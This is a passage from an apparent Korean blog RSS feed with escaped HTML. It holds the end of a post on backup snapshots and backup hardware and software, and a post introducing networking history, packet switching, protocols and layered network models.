this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;405&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스냅샷 = 원본 데이터, 원본 데이터 B는 냅두고 B1에 데이터 쓰기&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- COW(Copy on write) 보다 ROW(Redirect on write)가 스토리지 성능이 좋다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OJN1a/btsNKisM2yo/mjzbaUFdmpttHu32RObRH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OJN1a/btsNKisM2yo/mjzbaUFdmpttHu32RObRH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OJN1a/btsNKisM2yo/mjzbaUFdmpttHu32RObRH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOJN1a%2FbtsNKisM2yo%2FmjzbaUFdmpttHu32RObRH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;975&quot; height=&quot;422&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 백업 하드웨어: 백업 및 복구를 위한 전용 스토리지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 하드웨어 + 소프트웨어 동시 제공, 가격 비쌈, 성능 우수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- iPhone = 애플 하드웨어 + 애플 OS&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfSqJE/btsNMgAiQ3Q/LlFgHqvataLZw2iTSjkmd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfSqJE/btsNMgAiQ3Q/LlFgHqvataLZw2iTSjkmd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfSqJE/btsNMgAiQ3Q/LlFgHqvataLZw2iTSjkmd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfSqJE%2FbtsNMgAiQ3Q%2FLlFgHqvataLZw2iTSjkmd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; height=&quot;449&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 백업 소프트웨어: 백업 및 복구를 위한 전용 소프트웨어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 소프트웨어만 구매하여 기존에 가지고 있는 다른 회사의 하드웨어 활용 가능, 비용 절감&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 갤럭시 = 삼성 하드웨어 + 구글 안드로이드 OS&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XD90o/btsNMdXTfvi/RupIWTv0saMSNKGDpXKTkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XD90o/btsNMdXTfvi/RupIWTv0saMSNKGDpXKTkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XD90o/btsNMdXTfvi/RupIWTv0saMSNKGDpXKTkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXD90o%2FbtsNMdXTfvi%2FRupIWTv0saMSNKGDpXKTkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;954&quot; height=&quot;463&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://webcodur.tistory.com/23&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://webcodur.tistory.com/23&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://shuu.tistory.com/48&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://shuu.tistory.com/48&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>it 운영</category>
      <category>IT 인프라</category>
      <category>인프라</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/217</guid>
      <comments>https://it-log.tistory.com/217#entry217comment</comments>
      <pubDate>Wed, 7 May 2025 22:00:28 +0900</pubDate>
    </item>
    <item>
      <title>네트워크의 정의 및 역할</title>
      <link>https://it-log.tistory.com/216</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 개념&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 우리 몸의 눈,코,입,팔,다리 등 각각의 역할을 하는 기관으로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크는 여러 기관과 상호작용하기 위한 혈관으로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 네트워크(Network) : Net + Work,&amp;nbsp; 그물을 짜는 행위 &amp;rarr; 그물처럼 연결된 상태를 뜻함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IT 네트워크의 시작: 1960년대, 미국에서 하나의 거대한 메인프레임의 성능을 다수의 사람이 동시에 활용할 수 있도록 하기 위해 &lt;b&gt;여러 대의 단말기를 메인프레임과 전화선으로 연결&lt;/b&gt;함, 이것이 네트워크의 시작&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1159&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5i7Rj/btsNrh1WxsT/0gnbMEYJKaYSIPA4xFNxz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5i7Rj/btsNrh1WxsT/0gnbMEYJKaYSIPA4xFNxz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5i7Rj/btsNrh1WxsT/0gnbMEYJKaYSIPA4xFNxz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5i7Rj%2FbtsNrh1WxsT%2F0gnbMEYJKaYSIPA4xFNxz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1159&quot; height=&quot;473&quot; data-origin-width=&quot;1159&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 단말기들을 메인 프레임(Main Frame)과 전화선으로 연결&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 메인 프레임의 성능을 단말기들이 나눠서 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1개 전화선으로 연결 시 동시에 사용 불가(예전에 전화와 컴퓨터 동시에 사용 불가한 원리와 동일)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 단말기별로 전화선이 다른 경우 동시에 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 네트워크는 하나의 거대한 메인 프레임의 성능을 여러 대의 다른 단말기들이 나눠서 사용할 수 있게끔 하는 것&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbDe4T/btsNrmPDT69/KyKwCe3ofsPVz259CSUiLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbDe4T/btsNrmPDT69/KyKwCe3ofsPVz259CSUiLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbDe4T/btsNrmPDT69/KyKwCe3ofsPVz259CSUiLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbDe4T%2FbtsNrmPDT69%2FKyKwCe3ofsPVz259CSUiLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;431&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;ARPANET&lt;/b&gt;(Advanced Research Projects Agency Network)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 미국 DARPA(Defense Advanced Research Projects Agency)에서 연구 목적으로 만든 네트워크로 &lt;b&gt;패킷 교환 방식을 처음으로 사용한 네트워크&lt;/b&gt;이며, 현재 인터넷의 시초가 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ DARPA: 미국 국방성 연구, 개발 부문을 담당한 방위 고등 연구 계획국&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- APARNET: 패킷 교환 방식을 최초로 사용한 네트워크&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5wBpn/btsNoY81OgZ/hzxRQBGeUJzhrhyGwKoNo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5wBpn/btsNoY81OgZ/hzxRQBGeUJzhrhyGwKoNo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5wBpn/btsNoY81OgZ/hzxRQBGeUJzhrhyGwKoNo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5wBpn%2FbtsNoY81OgZ%2FhzxRQBGeUJzhrhyGwKoNo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;739&quot; height=&quot;457&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 회선 교환 방식(Circuit Exchange Method): 데이터를 교환하기 위해 1:1로 연결된 데이터 통로(회선)를 만들고 데이터 교환이 완료될 때까지 회선을 계속 사용하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 전체를 한번에 전송하는 방식&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zDPJs/btsNruFAmO8/DAWbj41z986yb7oaFO2pc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zDPJs/btsNruFAmO8/DAWbj41z986yb7oaFO2pc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zDPJs/btsNruFAmO8/DAWbj41z986yb7oaFO2pc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzDPJs%2FbtsNruFAmO8%2FDAWbj41z986yb7oaFO2pc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1290&quot; height=&quot;470&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패킷 교환 방식(Packet Exchange Method): 데이터를 패킷이라는 작은 단위로 나누고, 헤더라는 정보를 붙여 데이터를 교환하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 헤더에는 송수신 포트번호, 패킷 순서 번호, 데이터 시작 위치, 한번에 전송할 수 있는 데이터의 양 등이 포함됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패킷(Packet) = 소포라는 뜻, 패킷이라는 택배 물품에 헤더라는 송장을 붙여 보내는 개념&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PYcIk/btsNrnOjHXu/rFKiLXKv013Jn62Zon5Ar1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PYcIk/btsNrnOjHXu/rFKiLXKv013Jn62Zon5Ar1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PYcIk/btsNrnOjHXu/rFKiLXKv013Jn62Zon5Ar1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPYcIk%2FbtsNrnOjHXu%2FrFKiLXKv013Jn62Zon5Ar1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1203&quot; height=&quot;337&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 패킷 교환 방식(Packet Exchange Method): 필요한 만큼만 회선을 이용하며 같은 회선을 다른 사용자도 함께 사용할 수 있음, 패킷이 손상될 경우 데이터 전체를 다시 보내지 않고 손상된 패킷만 보내면 됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R7hZL/btsNqXJpGeZ/BbnPmFbwVk8Kdx5aqdIFkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R7hZL/btsNqXJpGeZ/BbnPmFbwVk8Kdx5aqdIFkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R7hZL/btsNqXJpGeZ/BbnPmFbwVk8Kdx5aqdIFkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR7hZL%2FbtsNqXJpGeZ%2FBbnPmFbwVk8Kdx5aqdIFkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1293&quot; height=&quot;500&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;네트워크 프로토콜과 계층&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프로토콜(Protocol): 패킷을 전송하기 위한 규칙, 정해진 규칙을 따르기 때문에 통신이 가능해짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTP(HyperText Transfer Protocol): 웹 서버와 웹 브라우저가 패킷을 교환할 때 사용하는 프로토콜&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이 외에도 DNS, FTP, SSL/TLS, TCP, UDP, SNMP, IEEE, ARP 등 매우 많은 프로토콜이 존재함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 통신 프로토콜: 통신하기 위한 규칙&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmxa7w/btsNqpLSblA/kkcgRhMkLDy47A3TptytkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmxa7w/btsNqpLSblA/kkcgRhMkLDy47A3TptytkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmxa7w/btsNqpLSblA/kkcgRhMkLDy47A3TptytkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbmxa7w%2FbtsNqpLSblA%2FkkcgRhMkLDy47A3TptytkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;927&quot; height=&quot;374&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 계층(Layer): 송신 기기와 수신 기기 사이에서 주고 받는 데이터는 각 계층 별로 처리됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 계층 별로 처리: 한 계층에서의 처리가 완료되면 임무를 다음 계층으로 전달&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;811&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzmNGo/btsNpWQLjDJ/iwWzQWNRQVIb89rj5Ktje1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzmNGo/btsNpWQLjDJ/iwWzQWNRQVIb89rj5Ktje1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzmNGo/btsNpWQLjDJ/iwWzQWNRQVIb89rj5Ktje1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzmNGo%2FbtsNpWQLjDJ%2FiwWzQWNRQVIb89rj5Ktje1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;811&quot; height=&quot;392&quot; data-origin-width=&quot;811&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 대표적인 2가지 계층: TCP/IP 참조 모델, OSI 참조 모델&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- TCP/IP 참조 모델: 1970년대 미국 방위 고등 연구 계획국(DARPA)이 개발한 계층 구조 모델, 4개 계층으로 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ TCP/IP 1계층은 링크 계층 or 네트워크 엑세스 계층으로 불린다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ap3Rp/btsNtq3SDww/iNkxr0uWkQxN68sxgcf0O1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ap3Rp/btsNtq3SDww/iNkxr0uWkQxN68sxgcf0O1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ap3Rp/btsNtq3SDww/iNkxr0uWkQxN68sxgcf0O1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAp3Rp%2FbtsNtq3SDww%2FiNkxr0uWkQxN68sxgcf0O1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;254&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 업계에서 주로 사용하는 계층은 5계층 모델&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 계층 = Layer / 각 계층마다 L1, L2, L3, L4, L7으로 부름&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;329&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F3ih1/btsNtfaEPXf/AHTCiSSj65kadurdceOTkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F3ih1/btsNtfaEPXf/AHTCiSSj65kadurdceOTkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F3ih1/btsNtfaEPXf/AHTCiSSj65kadurdceOTkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF3ih1%2FbtsNtfaEPXf%2FAHTCiSSj65kadurdceOTkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;805&quot; height=&quot;329&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;329&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
